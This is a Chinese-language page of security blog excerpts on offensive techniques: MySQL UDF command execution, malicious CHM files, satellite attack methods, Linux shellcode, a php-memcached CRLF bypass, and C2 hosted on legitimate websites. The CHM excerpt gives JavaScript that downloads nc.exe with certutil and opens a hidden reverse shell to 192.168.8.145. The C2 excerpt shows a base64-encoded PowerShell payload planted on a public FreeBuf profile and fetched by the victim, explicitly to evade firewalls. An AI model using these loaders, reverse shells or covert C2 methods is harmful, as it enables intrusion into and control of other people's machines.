手动编写 UDF 文件

MySQL UDF 简介 MySQL UDF (User Defined Function) 是一种可以扩展 MySQL 功能的机制,通过编写 C 或 C++ 代码,可以创建自定义的函数,甚至执行系统命令。 要利用 MySQL UDF 执行系统命令,需要满足以下三个条件: 拥有 MySQL 的 root 权限,可以创建和删除函数 拥有 MySQL 服务的文件权限,可以将 UDF 文件写到 MySQL 插件目录 UDF 文件是针对目标系统的平台和架构编译的,否则会出现错误 编写代码 在上文提到,利用 UDF 执行系统命令需要针对目标系统的平台和架构编译,比如目标 MySQL 服务器为 Windows 系统则需要 UDF 文件后缀为 .dll,Linux 系统则需要 UDF 文件后缀为 .so。 本次选择以 Kali Linux 系统为例,编译代码前首先需要安装开发库,Kali Linux 安装命令为: ┌──(root㉿kali)-[~] └─# apt…

编写恶意CHM

简介 Microsoft Compiled HTML Help,或者简称为CHM,是一种由微软开发的在线帮助文件格式,它由一组HTML页面、一个索引和其他导航工具组成。CHM文件是压缩的,并以二进制格式部署,扩展名为.chm,代表已编译的HTML。这种格式通常用于软件文档。 下面我们将介绍手动编写和使用PowerShell武器化CHM。 编写CHM 为了编写CHM,我们首先需要下载HTML Help Workshop。 安装运行后会显示空白界面。 我们需要新建一个项目,为此,点击左上方的空白文件按钮新建项目。 点击OK按钮并继续下一步后,我们会看到需要填写创建的文件名和路径,这里以桌面路径,文件命为nc.hhp为例。 点击下一步后会询问包含的文件,这里选择HTML files。 然后我们需要编写HTML文件,以nc.html为例: <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Example</title> <script type="text/javascript"> function downloadAndRun() { var command = "certutil -urlcache -split -f http://192.168.8.145/nc.exe nc.exe && nc.exe -e cmd 192.168.8.145 4444"; var wsh = new ActiveXObject("WScript.Shell"); wsh.Run(command, 0, false); } </script> </head> <body…

关于卫星的黑客攻击方法(一)

简介 卫星黑客攻击是指利用网络手段对卫星或卫星通信系统进行破坏、干扰或窃取的行为。卫星黑客攻击可能会对全球的军事、政治、经济和社会造成严重的影响和威胁。卫星黑客攻击的方式有多种,例如利用卫星的漏洞或设计缺陷进行入侵、篡改或控制,或者利用卫星的信号进行拦截、伪造或干扰。 下面我们将了解卫星的各个系统,以便后续的攻击。 ADCS 卫星的ADCS(姿态确定和控制系统)是一种用于控制和维持卫星在轨道上的期望方向和位置的系统。ADCS包括传感器、执行器、控制器和算法,它们共同实现对卫星的姿态测量、姿态控制、姿态估计和姿态指令等功能。 关于针对ADCS的攻击方法,大致如下: 传感器攻击:攻击者试图操纵或欺骗用于姿态确定的传感器。例如,他们可以向传感器照射强光或激光以导致错误读数,或者使用电磁辐射干扰传感器信号。 执行器攻击:攻击者可能针对负责姿态控制的执行器。攻击者可能会尝试禁用或篡改执行器,从而阻止卫星调整其姿态或导致其偏离预定路线。 通信攻击:如果 ADCS 依赖于来自地面控制或其他来源的外部命令或数据,攻击者就可以拦截或操纵通信通道。他们可能会注入错误命令或更改发送到 ADCS 的数据,从而导致错误的姿态调整或控制。 软件攻击:ADCS 系统通常利用软件来处理传感器数据、实施控制算法和管理操作。攻击者可能会利用软件漏洞或注入恶意代码来损害 ADCS 的完整性和功能。 C&DHS 卫星的C&DHS(总线以命令和数据处理系统)是一种用于管理卫星并控制航天器的所有功能的系统。 C&DHS在普通卫星的架构如下图所示: C&DHS使用星载控制器 (OBC,On-Board Controller),该控制器采用计算平台,即微控制器和存储器,类似于地面嵌入式设备。在该系统上执行的软件称为星载软件(OBSW,On-Board Software),它实现远程控制服务器,通常基于实时操作系统(RTOS, Real-Time Operating System),类似于地面实时应用程序。OBSW的主要任务是处理TC/TM流量、提供数据存储、调度命令、执行自主操作以及更新程序代码。 关于针对C&DHS的攻击方法大致如下: 命令注入:攻击者将未经授权的命令注入系统。如果他们能够访问通信通道或利用命令接收过程中的漏洞,则可以发送恶意或未经授权的命令,从而破坏或损害卫星的运行。 数据操纵:攻击者可以瞄准数据系统并尝试操纵或破坏正在收集、处理或传输的数据。这可能会导致分析和决策的不正确,以及丧失任务目标。 软件利用:如果C&DHS系统存在软件漏洞,攻击者则可以利用这些漏洞执行未授权访问、任意代码执行或破坏系统的正常运行。这可能包括缓冲区溢出攻击、代码注入或提权。 物理攻击:在某些情况下,攻击者可能会物理篡改 C&DHS 硬件或基础设施。这可能涉及更换组件、修改电路,或引入可以拦截并修改命令、数据流的恶意设备。 TT&C TT&C子系统提供卫星(空间段)和地面设施(控制或用户段)之间的连接。TT&C功能的目的是确保卫星正确运行。作为卫星总线的一部分,无论任务类型如何,所有卫星都需要TT&C子系统。TT&C子系统有三个特定的功能: 遥测:收集、处理所有航天器子系统的健康和状态数据,并将这些数据传输到地面的控制部分。这不仅需要航天器上的遥测系统,还需要世界各地的地面站全球网络,除非卫星空间网络包括卫星间链路,可以将数据中继到指定的卫星并向下链接到适当的地面站。各个子系统发送的不同健康信息和状态信息由遥测输入接口收集,返回到C&DHS处理器,缓冲,加密,最后发送到地面站。 测距测速:通过测量卫星和地面站之间的信号往返时间和多普勒频移,计算出卫星和地面站的距离和径向速度,确定卫星的位置和运动状态。 指挥和控制:接收和处理卫星连续运行的命令,通常需要地面系统配合。虽然先进的航天器设计已经朝着“自主操作”的方向发展,许多控制功能可以在机载上实现自动化,但是在紧急情况下,依旧需要地面干预。 在处理命令时,来自命令接收器的串行命令位流由命令输入接口接收,其中相关命令被提取,然后通过串行或并行接口发送到相应的子系统,如下图所示: EPS 卫星的EPS(电力系统)是一种用于为卫星提供电能的系统,包括以下几个部分: 电源:负责将太阳能或其他能源转换为电能,如太阳能电池板、热电发电机等 。 电池:负责在卫星进入阴影区或需要额外电能时储存和释放电能,如锂离子电池、镍氢电池等 。 电力调节和分配单元(PDU):负责对卫星的输入和输出电压进行稳压、限流和切换,以及对卫星的各个分系统和有效载荷进行分配和控制 。 电力管理和控制单元(PMCU):负责对卫星的电力系统进行监测、控制和保护,以及与卫星的其他系统进行通信和协调 。 PDHS 卫星的PDHS(有效载荷数据处理系统)是一种用于处理卫星的有效载荷数据的系统,包括以下几个部分: 有效载荷数据处理单元(PDU):负责对卫星的有效载荷数据进行采集、压缩、编码、加密和存储,以及与卫星的其他系统进行通信和协调 。 有效载荷数据传输单元(PTU):负责对卫星的有效载荷数据进行调制、多路复用、放大和发送,以及与地面站进行数据交换…

Linux Shellcode 编写

Shellcode简介 Shellcode是一段用于利用软件漏洞的有效负载,它通常是用汇编语言编写的机器码,可以执行特定的功能,例如启动一个命令行shell,从而让攻击者控制被攻击的机器。Shellcode之所以被称为shellcode,是因为它最初的目的是在目标系统上执行/bin/sh命令,打开一个交互式shell。 Shellcode可以根据攻击者是否在目标机器上执行有效负载分为本地shellcode和远程shellcode。本地shellcode通常用于在攻击者对计算机的访问权限有限,需要利用软件漏洞提升权限的情况。远程shellcode通常用于在攻击者以运行在某个网络中的另一台机器上的易受攻击的进程为目标时,如果成功执行,shellcode可以通过网络访问目标主机。 汇编基础 以编译输出wolf为例,编写wolf.asm文件如下: BITS 32 section .data msg db "wolf", 0xa section .text global _start _start: mov eax, 4 ; syscall to write() mov ebx, 1 mov ecx, msg mov edx, 4 int 0x80 mov eax, 1 mov ebx, 0 int 0x80 然后执行以下命令安装并编译: apt-get install libc6-dev-i386 ┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# nasm -f elf32 wolf.asm ┌──(root㉿kali)-[/usr/src/linux-shellcode]…

php-memcached CRLF绕过

简介 在正式讲解前,我们先简单了解下CRLF注入漏洞。 在HTTP报文中,状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。而CRLF漏洞的产生则是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符串,攻击者一旦成功注入CRLF,就会在响应中输入,所以也称为HTTP响应拆分漏洞。 在CRLF中,“CR”意为回车(例:r、%0D),“LF”意为换行符(例:n、%0A)。在Windows系统中,CRLF表示行的结束;Linux则以LF表示行的结束。 一般来说更多是将CRLF用于会话固定漏洞、XSS漏洞和窃取cookie等,但是CRLF注入漏洞也可以利用在Web应用程序中。 漏洞环境 Memcached是一个开源、高性能的分布式内存对象缓存系统。 影响版本: V2.2.0及以下版本 在早些时候Memcached也爆发过CRLF注入,而本次绕过则是根据之前爆发过的CRLF注入而产生的1Day漏洞,因为是1Day所以直接下最新版即可。 我们使用Kali Linux环境,编写以下代码文件,并放到网页目录下。 <?php $server = new Memcached(); $server->addServer('localhost', 11211); $token = $_GET['token']; $server->set("wolf","poc") ; echo "[token] = "; var_dump($server->get("$token")); echo "[wolf] = "; var_dump($server->get("wolf")); 在Kali Linux终端输入命令: apt-get install memcached 安装Memcached后,输入以下命令: service memcached start //开启Memcached服务 netstat -ntlp //查看服务是否开启 看到11211端口为监听状态则代表Memcached服务正常开启,然后只需要配置php环境重启Apache2即可。 基础命令 在搭建好漏洞环境后,我们先简单了解下Memcached的命令,会更加方便后续的漏洞利用。 set命令 Memcached的set命令用于将value存储在指定的key中,如果key已存在则会更新key值。 基本语法如下: set key…

使用合法网站制作C2

简介 对于攻击者而言,隐藏自己的C2是重中之重,以往都是使用合法的应用API创建自己的C2,不过我们也可以将payload托管在合法的网站上,这样在受害者主机上的通信可能会绕过防火墙。 该方法最早提出者已经无法溯源了,偶然看到null-byte网站提了一嘴,不过并没有将其用作C2,而是将其用作下载文件,C2是笔者在N年前研究的方法,可能对于现在的网络环境还能有点用。 构造Payload 以Freebuf为例,我们首先构造一条PowerShell命令: powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:Users\$env:USERNAMEDocumentsthatgood' 该条PowerShell语句会使用-ep选项绕过策略,并使用/w选项隐藏窗口,使用New-Item创建一个位于用户文档下的文件。 然后我们最好将该条PowerShell语句进行Base64编码,防止检测到特殊字符: printf '%s' "powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:Users\$env:USERNAMEDocumentsthatgood'" | base64 | tr -d 'n' cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHRoYXRnb29kJw== 最好复制一下Base64编码字符串来验证一下。 然后我们将该串Base64字符串修改到Freebuf能公开访问的页面,比如用户公开的简介中,然后用START和END包裹,用来匹配该条payload。 使用无痕模式查看是否能公开查看,以及是否能显示所有字符串。 然后我们通过在受害者主机执行PowerShell语句即可执行新建文件的操作: $wro = iwr -Uri https://www.freebuf.com/author/Snow%E7%8B%BC%E5%95%8A -UseBasicParsing; //使用Invoke-WebRequest获取指定网页并基本解析 $r = [Regex]::new("(?<=START)(.*)(?=END)"); //使用正则表达式匹配payload $m = $r.Match($wro.rawcontent); //将匹配到的payload定义一个变量…